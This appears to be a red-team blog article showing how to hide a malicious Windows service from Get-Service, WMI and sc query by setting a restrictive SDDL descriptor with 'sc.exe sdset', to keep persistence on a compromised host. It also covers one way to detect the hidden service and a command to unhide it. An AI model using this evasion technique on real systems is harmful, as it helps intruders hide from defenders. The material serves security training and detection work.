Red Team Tactics: Hiding Windows Services

By Joshua Wright

Published: 2020-10-13 · Archived: 2026-04-05 21:06:57 UTC

In a recent red team engagement, my team was up against some well-trained, sophisticated defenders. We built custom malware to evade the anticipated EDR platforms, but we knew host analysis would eventually get us caught and quickly pulled from the target organization.

```
 PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine
```

Taking notes from several advanced threat groups, we will use common service names that could be overlooked to try and blend into a system while maintaining persistence on the host. Here, *SWCUEngine* is our malware, shallowly pretending to be the AVAST software cleanup engine. While this might escape casual inspection, in an exercise where the defenders are actively hunting for the presence of the red team, this is probably going to get us caught.

So, we decided to tie on a bit of extra difficulty.

```
 PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDT
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
```

Windows services support the ability to control service permissions using the *Service Descriptor Definition Language* (SDDL). As administrators, we normally don't have to change the SDDL syntax of service permissions manually, but through careful manipulation an attacker can hide their presence in a running service. In this example, the imposter SWCUEngine service becomes mostly invisible to the blue team defenders.

The SDDL syntax is a little *obtuse*, but breaks down into the following elements:

```
 D: - Set the Discretionary ACL (DACL) permissions on the service
```

```
(D;;DCLCWPDTSD;;;IU) - Deny Interactive Users the following permissions:
 DC - Delete Child
 LC - List Children
 WP - Write Property
 DT - Delete Tree
 SD - Service Delete
```

This SDDL block is repeated for services (SU) and administrators (BA) as well. A (allow) permissions follow, inheriting the default permissions for services. Special thanks to Wayne Martin and Harry Johnston for their articles on decoding SDDL permissions.

By making this change to the service, the persistence mechanism is hidden from the defenders. Neither services.exe, Get-Service, sc query nor any other service control tool I'm aware of will enumerate the hidden service.

```
 PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32
```

If the defender knows the name of the service in advance, they can identify the service presence by attempting to stop it. In this example, the service JoshNoSuchService does not exist, while SWCUEngine exists and is hidden:

```
 PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand

PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denie
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand
```

If you know the name of the service that is hidden, then you can *unhide* it again:

```
 PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;C
[SC] SetServiceObjectSecurity SUCCESS
```

```
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine
```

On the red team, this can be a useful technique to preserve persistence on a compromised host. The hidden service will autostart after a reboot as well.

In the next article, my colleague and trusted defense analyst Jon Gorenflo will present defense options for detection and enumeration. Stay tuned!
